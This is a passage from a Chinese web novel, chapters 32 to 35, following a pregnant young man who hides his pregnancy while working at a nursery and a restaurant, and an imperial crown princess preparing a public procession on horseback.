都是从苗圃捡回来的废苗,每一个都被他好生养着。 不过,这房间里,还有一个小生命在等他安抚。 简星沉关上房门,坐到单人床边。 借着温暖的台灯光线,他缓缓解开格纹衬衫的扣子,卷起背心。 露出的肚子被棉纱网布紧紧缠住。 他低着头,耐心解开从上到下三段尼龙搭扣,直到小腹不再受缚,呈现出微微隆起的状态。 “饿吗?” 少年摸了摸安静的肚皮,从桌上端起一盘刚在微波炉里叮过的水饺,语气温柔又耐心,“爸爸今天,热了猪肉馅的饺子。” 第32章 孕十七周 自从有胎动以来,简星沉每天晚上都会跟肚子说话。 肚子里的孩子也总是很配合他,会用脚或手,在他肚皮上推起一个小小的鼓包。 今天,孩子好像不太想动。 他担心是肚子勒得久,让孩子不高兴了。 简星沉花了比平常多一倍的时间,摸着肚子哄来哄去,才看到肚皮上鼓起一小块,旋即又平了下去。 他如释重负地松了口气。 腹中的胎儿日渐长大,即便像他这样不显怀的人,也渐渐无法用宽松衣物遮住怀孕的迹象。 偏偏A区的工作竞争很大,体力劳动更是不愁没人干。 他听说,许多员工一怀孕就被穿小鞋,甚至被老板借故开除。 为了不丢掉自己好不容易争取来的工作,他在察觉到肚皮隆起的那一天起,就用收腹带缠住肚子。 可随着孕期推进,孩子越长越大,他不得不将收腹带缠得更紧,以免暴露怀孕的事实。 只是这样一来,他工作的时候也更吃力。 才刚刚从孕反的煎熬中解脱,却又天天被勒得不敢多喝一口,不敢多吃一口。 只有晚上回到家,才能好好吃上一顿饭。 到今天,已经是他孕十七周。 简星沉不知道,自己还能瞒到什么时候。 他用筷子夹起一只饺子,猪肉白菜馅,是李又珍亲手包的,说是给他补补身体。 其实加了荠菜的饺子更香,但李又珍担心荠菜对孕夫不好,从来不给他吃。 在搬来这里之前,简星沉从没听说过荠菜。 李又珍给他看过新采的嫩荠菜,小小的,叶片像参差不齐的羽毛,星星点点地混在杂草里生长。 据说,这种野菜长不了多大就会开花,白色小花聚成花穗,种荚是爱心的形状,可爱得不得了。 简星沉虽然没尝过荠菜的鲜,却闻过它的清甜。 他有时眼巴巴看着荠菜馅的饺子,馋得拼命喝水。 李又珍就安慰他,等他生产过,她会给他下整整一锅猪肉荠菜饺子,包他把前十九年错过的份,全都吃回来。 姥姥走后,他已经很久没遇到这样温暖的人了。 简星沉正吃着饺子,门上响起敲门声。 “小简,外面下小雨,我把你的衣服收回来啦。” 李又珍拧开门把,又轻轻带上,把怀里抱着的毛衣放在床尾。 她的视线落在他刚解开的收腹带上,愣了一愣:“你现在还每天戴着呢?” 简星沉放下盘子,点了点头:“要不是您把它借给我,我都不知道,要怎么才能守住工作。” “这收腹带在我家反正也是闲置。你拿去用,正好省点钱。” 她说着,捶了捶自己的膝盖,语气叹惋,“你这胎虽然没那么显怀,但到底也有四个月。这一天天绑着束着,即便你能吃苦不嫌勒,孩子也吃不消啊。” 少年低头看着盘中的饺子,没有出声。 李又珍语重心长:“小简,帝国对单亲家长的补贴挺好的。你只要去健康署做个登记,信息录入系统,不光有补贴和食品券,还能全额报销产检。” “李婆婆,我不能登记。” 简星沉坚定地摇着头,指尖在衣角反复揉搓,好像只要再多透露一个字,整个人就会碎掉一样。 “为什么不能?” 李又珍眉头紧锁,“你现在身体是顶得住,就算不去医院检查,我也不能逼你。但你一直遮着掩着,不是自己受累吗?” 少年默默抬手抹过眼角。 李又珍生怕话说重了,连忙拍了拍他的肩膀:“当初你来我家租房,我看出你不喜欢别人问得多,就没多嘴。可你一个人怀着孩子,这么辛苦,既不是黑户又没犯事,为什么要把自己藏这么紧?” 简星沉闷头衔起饺子,一个接着一个往嘴里塞。 一边嚼,一边吸鼻子。 “你这孩子,人长得乖巧,性格也温吞,踏实肯干,心肠还软。可你怎么就这么倔呢。” 李又珍拿他没办法,“我先不打扰你吃饭了,你有事就找我。婆婆年纪大了,但好歹当过护士,能帮到你一点是一点。” 她走到门口,忍不住转身,看了他一眼。 十九岁的年纪,本该在大学念书,却出来打工攒学费。 明明自己还是个孩子,身子骨单薄得很,肚子里却已经有了一个小的。 没有父母,举目无亲,胎儿的另一个血亲也不知在何处。 她轻叹一声,悄然合上房门。 简星沉吃完饺子,胃里实实在在的温热感,几乎像是迟来的安抚,让他整个人都舒坦起来。 他靠在床头,从旁抱起那个浅蓝色抱枕。 枕套是裁下旧床单改做的,枕芯是用江意衡穿过的毛衣填的,枕套外面还用边角料绣了一颗又一颗黄灿灿的星星。 最大的那颗星星上,甚至缝着一只纽扣当眼睛。 他每每抱着这个枕头,就能闻到江意衡残留在织物上的信息素。 微涩的红酒香,甘醇中透着一丝冷冽。 前几个月,他都靠着这一点点气味,来缓解孕期不适。 只是,这味道已经微乎及微。 他害怕哪天一觉醒来,就再也闻不出她的半点气味。 眼泪浸在枕头上,湿凉湿凉。 腹中的孩子却像是感应到他的心情,在他肚皮下轻轻一动。 “你想听故事吗?” 他摸着肚子,声音很轻,“爸爸给你讲个故事,好不好。” 直到台灯熄灭,在没有月光的黑夜里,一盏星星灯载着少年的温声细语,将星光投在天花板上。 * 清晨六点,晨曦透过玻璃穹顶,洒落在黑色大理石地面上。 银色剑锋划过空气,搅起尖锐的风声。 江意衡单手持剑,指节牢牢绕过剑柄,剑尖如闪电般刺中前方的“人影”。 不远处,有掌声响起。 “正中靶心。” 陆怀峰从阴影中走出,朝她垂首示敬,“殿下今早怎么会有兴致,一个人击剑?” “现在有两个人了。” 江意衡从地上挑起头盔丢了出去,被陆怀峰稳稳接住。 他微微迟疑:“您不戴护具吗?” 江意衡仰头,一口气喝下半瓶水,酣畅一笑:“击剑是关于进攻的艺术,戴上护具还有什么意思。再说,我从四岁起,就开始练习击剑了。” 她压低重心,一条腿弓在身前,未持剑的手背在身后,随即翻转剑锋,优雅邀战。 “既然如此。” 陆怀峰将头盔放在一边,从剑架另取了一把剑,回到江意衡面前,“殿下,请。” 两方皆是稍稍侧身,蓄势待发。 片刻后,江意衡先手出剑。 她的动作极快,脚步在大理石地面上迅速逼近,如风暴来袭。 不过瞬息之间,剑尖就已直直刺向近卫队长的心口。 陆怀峰猛地后撤一步,手腕一翻,剑锋挽出弧度,挡住江意衡的攻击。 剑刃相碰,擦出一道异常清脆的金属撞击声。 陆怀峰由衷感叹:“殿下最近忙于公务,身手倒是丝毫不输从前。” “肌肉记忆一旦形成,可没那么容易忘掉。” 江意衡挑眉,毫不犹豫地翻过手腕,横着削去,迫使陆怀峰再度侧身闪避。 他不断后撤,一路被她逼到石柱前:“属下还以为,您现在更擅长用言语击垮敌人。” 江意衡冷声笑道:“陆队长,你一早来找我,该不会只是为了当我的靶子吧?” 陆怀峰微微平定呼吸:“殿下,内阁建议您公开亮相的事宜,您可考虑好了?” 江意衡剑招一顿。 “你是说,让我骑着马,带领仪仗队绕城巡视?” 陆怀峰颔首:“从您执掌帝国大权以来,F区民众对您的支持率持续上升。但邻近中心区的两大区,尤其是与权贵关系密切的A区,对您的决策多有微词。” 江意衡伸手在剑上一弹:“他们说什么了?” 陆怀峰垂下视线:“民间已有传闻,称您因为个人恩怨,劫富济贫。” 江意衡付之一笑:“这种不实传言,竟然也有人信。” “属下清楚,您并不是谣传的那样。于私于公,这都毫无益处。” 陆怀峰目光坚定,“只是您一向忙于公务,也不屑于当众澄清,大大加剧了隔阂。一场由您亲自出面的骑马亮相,比起在幕后日理万机,更能拉近您与民众的关系。” 他甚至打了个比方:“刺向敌人的剑锋自然要凌厉,但对您的子民,是否也该施予一点光芒呢?” 江意衡忍不住笑了。 她收起剑锋,偏过头:“说吧,你都看过哪些马了?” * 王宫书房内,三匹骏马的影像分别投在半空。 无一不是肌肉流畅,呼吸有力,身姿矫健,鬃毛随风飘扬。 “这是属下为您挑选出的纯血马。” 陆怀峰正在稳声为江意衡介绍,“金色汗血马,线条优美;黑色弗里斯马,体型威严;还有雪白安达卢西亚马,勇敢忠诚。” “就这三匹?”江意衡扶住下巴。 陆怀峰郑重点头:“考虑到马匹的气势、稀有程度以及实用价值,同时能让您在公众场合凸显王者风范,这些是最适合的选项。” “我要第三匹。”江意衡毫不迟疑。 “恭喜您。” 陆怀峰放大白马的影像,点头道,“安达卢西亚马纯白高贵,虽然性格温顺,但只服从于真正的强者。由您来驾驭他,是他的荣幸。” “我要叫他,风暴。”江意衡笃定地给出名字。 陆怀峰做好备注,一回头,却看到江意衡靠在桌边,一只手点在桌上。 “陆队长,你是不是早就知道,我会选他?” 他收起投影,神色微顿,旋即恢复如常:“殿下的选择,并不让人意外。” 江意衡微微侧眸:“那你说说,我为什么选他?” 陆怀峰的声音平稳有力:“陛下曾有一匹桀骜不驯的黑色骏马,您不会选择相似的坐骑。 “汗血马固然珍贵,却是出了名的桀骜不驯,在人群聚集之地并不合适。 “而白马不仅是王权的象征,更与神明、启示和胜利相关。他与您的军服一样,都是最能让民众共鸣的颜色。” “你说得很好。” 江意衡的指尖在桌角缓缓摩挲,指腹沿着木纹滑过。 再抬眉时,她的目光已带上审视:“还有什么想说的,你最好一次说完。” 陆怀峰斟酌片刻,又道:“您与言小公子的婚礼,因为陛下昏迷之故再三推迟,至今也没定下日期。言均和毕竟是名誉帝国的新生代舞蹈艺术家,或许您可以借助这次公开亮相的机会,让民众看到,您与他,至少还……” 他没把话说完,唯一的听众早就没在听了。 江意衡正伫在一张褐色茶几前。 上面摆着一只古典青瓷花瓶,材质温润柔和,釉面光滑富有韵味。 但这还不是全部。 优雅的瓶颈中,容纳着一枝白梅。 枝条纤细却不失力量,曲折而又自然,其间错落绽放的花朵在孤高之余,却又留有点点生机。 是她从未在王宫中见过的写意留白。 陆怀峰试图问些什么,江意衡却提前抬手示意他噤声。 王室随处可见的插花大多华丽明艳,就如四处装饰的油画一般。 可偏偏这枝白梅,清冷得有些突兀。 江意衡的目光久久停留在梅枝上,指尖不由自主沿着枝条上的纹理拂过。 “这花,是谁送来的?” 第33章 见红 江意衡几乎从不在意王宫中这些鲜切花。 对她而言,瓶中的花与墙上的装饰没有本质区别,都是背景的一部分。 她不会为了背景板驻足,更不会追问这东西的来处。 所以,当陆怀峰听到江意衡发问时,第一反应是愣了一下。 这位帝国王储正懒洋洋地抱着手臂,拉长尾音,又问了他一遍:“花是谁送来的,你不知道?” 陆怀峰迅速在腕上终端点了几下,调出鲜花采购信息。 看清后,却微微沉默。 江意衡抬眉:“怎么了?” 陆怀峰回过神,一板一眼地解释:“根据出纳记录,之前的鲜花供应商近期休业,所以后勤临时更换了供货渠道。这批鲜花来自A区的徐悦斋,而您书房里这瓶,是店长徐子悦亲自做的。” “新店?之前没听过。”江意衡轻抿唇角。 “算是新起之秀。徐悦斋在A区是榜上有名的人气花店,很受年轻人追捧。” 陆怀峰不禁好奇,“您什么时候对插花感兴趣了?” “别搞错,我对这些费钱费时又无用的爱好,从来就没有一点兴趣。” 江意衡说着,却转身观望了一圈。 书房里除了这瓶,并没有其他插花。 “你办公室的那瓶,也是他家的?” 她离开书房,沿着走廊迈开步子。 “殿下!” 陆怀峰忽然想起什么,急忙拦在江意衡前方。 他眼疾手快合上自己办公室的门:“属下已经帮您提前看过了。我这瓶中规中矩,没您的那瓶精巧。” “陆队长,你这么紧张干什么。” 江意衡歪过头,视线几乎要穿过门缝,望进陆怀峰的办公室里,“就算你那瓶比我这瓶更好看,我也不会抢走。” 走廊上刚巧有侍从低头走过。 江意衡微微清嗓,与陆怀峰同时噤声。 等人走了,她的兴致也没了。 转身时,江意衡抬起食指隔空指了指他,嘴角微微上扬着警告:“下不为例。” 目送她走远,陆怀峰才松了口气。 回到自己的办公室,他小心反锁房门。 晨光洒落在窗台上,窗帘被清风掀起。 帘缝之间,一只不起眼的陶土盆静静伫立,里面还嵌着一个搪瓷杯。 杯中的小草柔弱无骨,仿佛最轻微的气流都能将它卷走。 但至少,它还活着,还在生长。 陆怀峰端起杯子,像往常一样看了看。 这是江意衡在F区贫民窟那少年门前,亲手抛下的小草。 那时她确实嘱咐过,让他把小草丢得远远的。 他也本该照做。 毕竟,江意衡是他的上司,而他是江意衡的下属。 然而自帝国军校开始的交情,教会陆怀峰一件事。 有些话,不能尽信。 无论什么时候,他都要给自己,也给江意衡,留下转圜的余地。 只是,他迟早得将这件事向江意衡坦白。 陆怀峰不敢说自己有多么会饲花弄草。 更何况,他总要把它藏着掖着,无法让它晒够太阳。 好在,这株小草足够坚强,只不过是有一点水和阳光,它就顽强地坚持到了今日,甚至结出了不引人注目的种荚。 小心翼翼把它挪回角落时,他腕上的终端突然闪了一下。 弹出的是近卫队成员的通话请求。 “我在。”陆怀峰一指搭在右耳,“怎么了?” “老大,”另一头的声音满是不安,“目标对象,刚被人撞了!” * “小伙子,你……没事吧?” 骑着小摩托的中年男人,正不安地对地上的少年嘘问着。 简星沉摇摇头,双手撑在身下,缓缓起身。 他今早状态不好,出门绕错路。 为了赶时间,冒险沿着鲜少有人走的小路逆向行使。 没想到,却被突然冒出的小摩托迎面碰翻。 对方在最后一秒拐过车头,离心力把后座的快递盒都甩了出去。 而他的小电驴径直倒在地上,轮子还在滴溜溜地空转。 简星沉掀起裤脚。 腿上蹭破了皮,除此之外,倒没什么。 见他没有大碍,快递大叔气不打一处来,一边捡快递,一边抱怨:“今天这事,都得赖你逆行,跟我可没关系!” 说完,就推着小摩托骂骂咧咧地走了。 留下简星沉原地懵了一会,才闷着头,慢慢把小电驴扶起。 平心而论,本来就是他不在理,不怪别人。 简星沉扶着小电驴没走出多远,却听到路边有个小女孩在他背后嚷嚷。 “妈妈,那个哥哥的裤子底下,为什么红了?” 半小时后,在简星沉租住的老房子里。 李又珍用镊子夹起浸过碘伏的棉球,按压在他腿上伤口时,少年忍不住咬住了唇。 “就算是赶时间上班,你也不应该逆向行驶呀,这多危险!这里的小电驴和小摩托开得快,一不小心就会出事故。” 她叹了口气,“幸好你这腿上只是皮肉伤,没什么大问题。” 李又珍拿过纱布想帮他包扎,少年却伸手取过。 “另一个问题,就没这么简单了。” 她扶了扶老花镜,苦口婆心,“你不是第一次见红,为什么不早点告诉婆婆?这种情况的原因很多,可能是因为你的身体发育不全,也可能是因为你在孕期没有Alpha的信息素安抚。” 她顿了顿,“平常睡得也不好吧?这不但会影响你的精神状况,还可能会增加你早产的风险。” 少年始终垂着头,一声不吭地将纱布裹在受伤的腿弯处。 最后接过她递出的剪刀,把纱布齐整剪断。 “小简啊,我知道我跟你提过这个,也知道你抵触这个。但我还是觉得,你应该尽早去大医院看一看。我毕竟已经退休,手头设备有限,没法帮你排查清楚。” “我会自己看着办的。” 简星沉声音低低的,“谢谢婆婆。” 李又珍知道他还在抗拒这件事,不由心疼:“你看看你,将近一米八的人,还怀着孩子,体重连六十公斤都不到。瘦成这样,又打两份工。你可千万不能过度劳累,要控制体力劳动,多补充营养,明白吗?” 简星沉不是不明白。 可他需要打两份工才能攒下一点钱,工作又是体力劳动为主。 他还担心孩子长得太快,不敢吃多…… 李又珍嘱咐他的那些,无论哪一条,都很难做到。 他放下裤腿,拎起挎包,又要出门。 李又珍几乎要拉住他:“这就回去上班了?没跟老板请假吗?” “请了。”他小声道,“请了半天。” 他确实只请了半天假,但杨老板其实批了一天假,还让他不用着急。 老板一反常态的宽宏,让他更是忐忑。 他怕老板已经找到了新员工,回头就把他辞退,所以半天时间一到,就赶着回去。 李又珍没再拦他。 简星沉回到苗圃时,杨老板却老远就笑着跟他挥手。 他正纳闷时,对方快步上前,嘉许地拍了拍他的肩膀:“小简,你做得很好。” 简星沉懵然眨着眼睛。 他可是临时请了半天假,还能被夸? 杨老板看他一脸茫然,几乎被逗笑了:“哎呀,你忘了?你昨天不是帮徐老师补救那一枝白梅的插花吗?我跟你说,中心区的大客户可是喜欢得不得了,还爽快地给徐老师续了一整个季度的订单呢!” 真的有那么喜欢吗? 晚上在餐馆后厨切菜的时候,简星沉还在回想杨老板的话。 他刚备完一盆沙拉,忙着冲洗刀和菜板,主管又来摇人。 “谁去冷库帮我把墨鱼端来?” 主管一看到他,语气立刻一转,“哎,你切完了?切完了还杵着干嘛,赶紧去拿货,不然就来不及了!” 简星沉穿过烟熏火燎的后厨,搓了搓仍然潮湿的双手,一头扎进冷库。 为了确保海鲜储存妥当,这里的温度常年定在零下二十度。 门口甚至有监控,确保没有人会在其中逗留五分钟以上。 冷库里雾气浓得吓人,简星沉连吸气都不敢。 他找了一圈,才从门后的第二个架子上抱起沉甸甸的泡沫箱,里面用碎冰满当当地冻着十几只新捕捞的大墨鱼。 出来交过差,他身上的寒气久久不散,整个人难受得窝在墙角,弯腰抱着肚子抖了几分钟。 主管看他发抖的样子,却只觉得好笑:“不就进了一下冷库吗?半分钟都不到,怎么这么矫情。” 简星沉抬头笑笑,脸色比头上的厨工帽还要苍白。 被方才的低温刺激到,他一下子肚子疼得厉害,帽子下面冷汗都出来了。 如果不是靠在角落缓了缓,他真担心自己会直接趴在地上。 等到餐馆结束营业,后厨打扫卫生的时候,店长却敲着一个铁锅,吸引了众人的注意。 “各位,我今天可是得到了内部消息!我们燃味轩有望一跃飞升,成为下一个炙手可热的人气餐馆!” 店员们不明所以,纷纷起哄。 “什么消息?” “工资能加吗? “店长你少卖关子啦!” 一阵喧哗之后,主管带头示意众人安静下来。 店长脸上洋溢着显而易见的笑容。 “你们可能还不知道,王室已经拟好了王储殿下公开亮相的线路!到时候,她可是会带着未婚夫,从三条街之外的地方路过!” 第34章 她一眼认出那是什么 “亏得店长这么激动。我还以为,人家王储要来店里吃饭呢!” “三条街外?那不是一向自视甚高,连车站都不允许入驻的的富人区吗?他们会舍得让王储殿下带人从他们的地盘通过?” “王储是王储,又不是我们这样的平民。而且我听说,殿下这次是骑马亮相,气派得很呢!” “真的假的?那我可得专门请假去看!” “我请假,你也请假,那谁来帮我顶班啊?” 人声哄成一片。 店长扬手一声大喝:“别急,我还没说完!” 他清嗓,重新宣告:“殿下亮相的时间已经公布,就在下周二早上九点,全程持续两个多小时。为了感谢大家辛勤工作,本店当天会推迟到下午一点再营业,不耽误大家去现场围观!” “哇,店长,您难得这么良心啊!” “但我有个前提条件。” 他抖出一件背后印着“燃味轩”的连帽衫,“大家围观的时候,要穿上店里的统一着装。殿下亮相会走实况转播,刚好给我们店做个宣传。” 众人一片唱衰:“什么啊!这么丑的衣服,我才不要穿!” 店长哼了一声:“话可说在前面,只有穿着店服去现场的员工,才不算旷工。” “就知道店长才没那么好心!” “又拿我们当移动宣传牌,太抠门了!” “怕不是殿下远在王宫,都能听到您打小算盘!” 店长摆动双臂,安抚众人:“我呢,也不会亏待大家。凡是穿着店服到场围观殿下亮相的人,记得自拍打卡上传到社交媒体,并且带上我们店的标签。每个人都可以凭截图领两百块奖金!” 没人会跟钱过不去。 他这话一出口,店员全都安静了。 结束营业后,简星沉照常在后厨拖地。 小张突然从旁边冒出来,伸手叩了叩他手里的拖把。 “小简,等王储殿下亮相那天,我们这有四个人打算一早拼车,占前排的位置。你要不要跟我们一起?” 简星沉停下拖把,缓缓摇头:“谢谢你们,我……就不去了。” 小张摸了摸鼻子,有点不高兴:“我说你,平常就独来独往的,上下班也不跟我们结伴走。你自己数数,这是你第几次推掉集体活动了?” 没等到简星沉接话,旁边又窜出一个小程。 他一把搭住小张的肩膀,附和道:“车上能坐五个人,现在空着一个位置,多浪费啊。普通人可是一辈子都没法这么近距离围观王室成员,何况还有店长承诺的两百块!” 简星沉抬头,笑得勉强:“我还有一份白班,赶不过来的。” 两个年轻同事相视叹气,没再理他。 离开燃味轩的时候,已经是晚上十一点。 简星沉抱着打包好的鱼香肉丝盖浇饭,坐在公交车站的候车椅上。 晚班车每半小时才发一趟,本不是他的首选,这一趟更是迟到了四十分钟都没来。 可他的小电驴早上才被摩托车撞歪车轮,现在还在李又珍朋友的车铺里维修。 他不得不继续等待下去。 天上不知什么时候下起了雨,地上迅速积起水洼。 湿凉的风一吹,好像能把寒意吹进他的骨头缝里。 简星沉只好把外套裹得更紧一点,踮起脚轻晃膝盖,让自己暖和一点。 又一阵风携着凉意飞来,洒落颈间。 他低头看着被雨水溅湿的鞋尖,禁不住打了个寒战。 江意衡,真的会从这一带附近经过吗? 他从F区一路辗转,来到A区打工,才知道所谓寸土寸金的中心区,其实是帝国建立初期就从A区分割出来的一块辖地,几乎完全为王室与贵族而存在。 刚搬来A区的那段时间,他一度担心,A区离中心区这样近,万一他遇到江意衡,或者她身边那名黑衣保镖,该怎么办。 现在他已经明白,自己和江意衡之间的距离,根本不是A区到中心区的远近,而是地面与天空的距离。 贵族驾着飞船从天上飞过,即便偶尔停泊,也都是在高不可及、常人根本无法靠近的空中停机坪。 那样的人,连地上的一粒灰也碰不到。 更何况是像他这样,双脚陷在水洼里的普通人。 * 雨后初晴的清晨,简星沉照常赶回花圃。 迎接他的不只是干透的路面,还有一个意外惊喜。 “徐老师想收我做学徒?我不是,听错了吧!” “你没听错,他就是这个意思。” 杨老板坐在桌后,眉开眼笑,“那枝白梅得到了大客户的青睐,徐老师心情很好,还跟我们追加了一批订单。当然,这也有你的功劳。” “没拖累徐老师就好。” 简星沉摸着脑袋,有些腼腆,“徐老师也太看得起我了。” “如果你跟着徐老师学做插花,就是他的关门弟子,等你学成出师,赚的会比现在翻几倍。” 杨老板掐了掐鼻梁,“不过,你是我手下绩效最好的员工,就这么让出去,我心里肯定不舍得。” “老板,我是想赚钱,赚更多钱,但我没想就这么放弃苗圃的工作。” 简星沉前倾身体,言辞恳切,“在我最困难的时候,是您愿意雇我干活,我一直记着您的恩情。” 杨老板摸了摸下巴,微微思索:“你现在一周上五天白班,一共四十个小时。等你开始跟徐老师学插花,时间上挤得过来吗?” * 提出以周末补足四十小时工时,与杨老板达成协议的第二周,简星沉正式开始了他的花艺学徒生涯。 苗圃位于A区城郊,而徐子悦的花艺工坊却在A区上城,中间隔了将近一小时车程。 简星沉习惯了骑小电驴,偶尔赶公车。 今天却难得有机会,搭着徐子悦的电驱车来到这里。 与燃味轩所在的下城不同,上城安静平和,哪怕早上九点,街上也只是偶有人来车往,并不喧嚣。 这里的房屋都是复古的橙色砖石结构,最高也就三层,据说是为了不压过上城区纪念碑的风头。 简星沉第一次知道,外人眼里繁华热闹的A区,还有这样优雅别致的地方。 “瞧瞧你,一副没见过世面的样子。” 徐子悦瞅着少年好奇张望的样子,嗤了一声。 徐悦斋作为上城区的新兴花艺工坊,并不对外开放,平日接单都通过熟客推荐,店面存在的唯一意义就是展示花艺作品。 因此,即便上城区到了一天中最活跃的时间,店里也依然清静,没有一个客人。 “要学插花,你就得从最基础的东西开始做。” 徐子悦站在仓库门前,点过地上那堆还没拆封的快递,“这个,这个,还有这个……都是杨老板今天送来的鲜花,全帮我拆了。” 来到徐悦斋学习花艺的第一天,简星沉拆了足足二十箱鲜花快递。 单是给鲜切花修剪花枝,掐掉叶子和顶芽,再分门别类泡进大小不一的醒花桶,就花去他全部的时间。 之后几天也是如此。 比起教他花艺的知识,徐子悦似乎更习惯让他打下手。 又因为他是学徒,只给他象征性地补贴了一点路费当工钱。 即便如此,徐悦斋里花香萦绕,花材琳琅满目,还有各种花艺作品可供观赏。 比简星沉接触过的所有工作环境都好太多了。 第五天,距离花店打烊还有一小时的时候,徐子悦喊住他。 “我记得,你上次用白梅插瓶的效果还不错。” 向来骄傲的花艺师指着架子上那一排花瓶,对他抬高下巴,“挑一个,让我看看你的手艺有没有长进。” 简星沉在围裙上用力搓去手上泥灰:“这些,都可以选吗?” “插花的容器和花材,你自己看着发挥。” 徐子悦弯起嘴角,“一个好的花艺师,才不会干涉学徒的灵感。” 虽然除了几句口头嘉奖,他从没给过任何实质奖励。 但这对于简星沉而言,已是莫大认可。 少年掰着指尖,在众多花材之间徘徊,小心翼翼从每一枝花的前方经过,最终停在角落里。 那儿有一簇几乎埋没在阴影里的白色小花。 即便不被阳光眷顾,却依然毫不吝啬地散发出香气。 * “驭!” 江意衡在马背上拉住牵绳,停下马匹瞬间,陆怀峰旋即上前。 “殿下的骑术还是一如既往地扎实。您感觉怎么样?” “就如我所预料的一样,风暴温顺听话,但该有的爆发力一点也不少。” 江意衡俯身轻拍马脖子,不吝赞许,“乖孩子,好样的。” 她翻身下马,把缰绳递给马侍,边走边褪下骑术手套。 陆怀峰转身跟上:“明天就是公开亮相的日子,各大媒体将会沿途实况播报。您吩咐的邀请函已发放完毕,闵执行长会代表F区前来观礼,言总理也会带领内阁成员出席。” “连他都能病愈到场,其他人更没有缺席的理由。” 江意衡笑道,“当然,身在D区建设帝国的章厉殊是例外。” 陆怀峰微微迟疑:“殿下,您真的打算继续流放章部长吗?” 江意衡不以为然地哼了一声:“他在D区的任期可有十年。我总不能刚接管父亲的位置四个月,就急着撤回自己的命令。” 陆怀峰语气肃然:“内阁至今仍在抗议您的安排,并且发动了舆论战术。我们近期锁定了几个在网络上异常活跃的账号,他们大肆宣扬您是新时代的‘暴君’。而这些人的资金来源,均与内阁成员有关。” “暴君?” 江意衡第一次停下脚步,挑眉看他,“那些人,真的这么说?” 陆怀峰审慎道:“殿下请放心。我们已将散发不实言论的当事人扣押,后续也会依照帝国舆论法进行处置。” 江意衡抿唇片刻,忽然笑了:“我可没说我讨厌这种说法。” 陆怀峰语声一滞。 他似乎,越来越无法理解这位王储殿下的脑回路。 不过身为近卫队长的职业素养,还是令他迅速平静下来。 “除此之外,您近期收到的匿名恐吓已经增加到六封。而最近一封,甚至提到了您的具体行程。” 江意衡继续迈步向前:“有多具体?” 陆怀峰紧随其后,轻点腕上终端,一封恐吓信浮现在江意衡面前,末尾还带着熟悉的红色字迹。 “发信人不但知晓您每天的会议安排,还有您在马场的训练时间,包括您何时回宫,经过哪条路……全都精确得一字不差。” 江意衡挥手隐去投影,笑着瞥了他一眼:“板着张脸做什么,你不为我高兴吗?我可是头一次有了如此狂热的追随者。” “殿下,”陆怀峰忧心忡忡,“这不是简单的恐吓。您的安全是近卫队的第一要务。身为近卫队长,我有义务提醒您……” “我从来没怀疑过你的能力,陆队长。” 江意衡把手套丢给他,同时抛下一句话,“言总理还等着见我。余下的事,回头再谈。” * 会客厅中,言敬玄伫在窗前,望着正在草地上自由奔跑的白色骏马。 “殿下,风暴的表现,还让您满意吗?” “我有什么不满意的。” 江意衡端起茶杯,轻拨茶匙,“我听说,训练风暴的马场,费了您不少资金。” 言敬玄笑得克制:“殿下,我与您毕竟是同一阵营,均和又是您的未婚夫。我当然有义务,确保您能得到最优秀的坐骑,顺利完成公开亮相。” “公开亮相?那不过是一场为民众举办的表演而已。” 江意衡瞥向这位名义上的岳父,“您可别忘了,我维持这场婚约的前提是什么。” “我身为总理兼内阁首领,都把自己的孩子交到您手上了,难道还不足以表示我的忠心?” 言敬玄从容转身,却背过双手,“这些年,我与均和的父子关系算不上有多融洽,为了把他留在身边,也不得不做出许多艰难决定。我希望,殿下能看在我全力支持您的份上,对他多些关心。” 江意衡只是轻抿一口茶。 “民众喜欢童话故事。” 言敬玄的目光扫过墙上的王室合照,意味深长,“想必殿下也明白,保持王室和睦的形象,对于安抚民心的重要性。” 江意衡毫不在意地笑了笑:“您的儿子会坐在专属于他的马车里,前后左右都有骑兵随侍,还能得到他想要的全民关注。岳父大人,现在可以放心了?” 她放下茶杯,打算提前结束这段谈话。 踏出厅门前,却留意到边桌上一只深棕色竹编花篮。 三朵淡紫色康乃馨映入眼帘,未成熟的青色蔷薇果向高处自然舒展。 空隙间缀有生满绿叶的枝条,那上面的白色花朵散发出若有若无的馨香。 江意衡一眼认出那是什么。 她垂下目光,拈起一朵白色茉莉。 指尖触及花瓣时,却几乎被烫了一下。 第35章 王储亮相…… 是今天?…… 江意衡的记忆深处,始终萦绕着一缕茉莉花香。 无论身在何处,只要闻到这种清冷馥郁的香气,就恍惚又回到母亲怀里一样。 可是后来,有人偷走了本该属于母亲的香气。 江意衡只是看到茉莉花绽放的样子,就不自觉地想起,少年是如何在她面前一点点打开身体。 他曾毫无保留,容纳她的全部。 明明已经过去四个多月。 明明以为,她不会再介意这种事情。 然而指尖残留的灼烧感,却像一根刺那样,扎进她的意识里。 “殿下?” 耳畔,言敬玄的声音忽然变得遥远。 江意衡摩挲食指,眼底情绪晦暗不明。 “知道我最讨厌什么?” 她松开手指,任由被碾碎的白色花瓣从指尖坠落,“不过是掐了根的柔弱之物,又有什么底气,在我面前散发香气。” 江意衡近乎反常的阴沉,没有逃过言敬玄的眼睛。 “这是哪家花房,真糊涂,竟然不清楚殿下的喜恶。” 他俯视着花篮里的鲜花,嘴角缓缓扬起,“均和闲时也会插花。不如下次,我让他给您做一瓶。” * 公开亮相当天早晨。 陆怀峰登门时,侍从已经为江意衡穿戴完毕。 这位年轻的帝国王储伫在巨大的落地镜前,一身白色军装笔挺。 深蓝色披风自她的肩头垂落,酒红色绶带与金色绳饰斜挎身前。 而她的胸口处,还别有象征王室的十二芒星徽章。 陆怀峰顿住脚步,由衷感慨:“殿下,您与年轻时的陛下,简直一模一样。” 他俯首,将最后一件配饰恭敬地捧到她眼前。 那是一枚圆顶黑色皮帽,前方镶着金穗,侧面别着金色鹰饰,帽顶则缀有一支蓬勃饱满的白色鸵羽。 江意衡只瞥了一眼,便收回视线。 “所有人都觉得我像父亲,像他一样冷酷。” 她对着镜子,旁若无人地拂过鬓发,“可你知道吗?他也不是从一开始就不近人情。” 陆怀峰保持躬身,沉默不语。 “我昨晚,翻过父亲的陈年档案。他第一次穿上王储制服的时候,抱怨束腰勒得他喘不过气,帽子闷得像一口倒扣的高压锅。” 江意衡顿了顿,语气讥讽,“可我认识他的时候,那个平易近人的江御川早就不存在了。” 陆怀峰像每一个识趣的臣子那样,不卑不亢:“人都会成长,会改变。陛下是这样,殿下也不例外。” “他一直希望我做好王储,而不是做自己。” 江意衡沉着眉,唇角却勾起弧度,“他要是亲眼看到我现在的样子,一定会非常欣慰。” 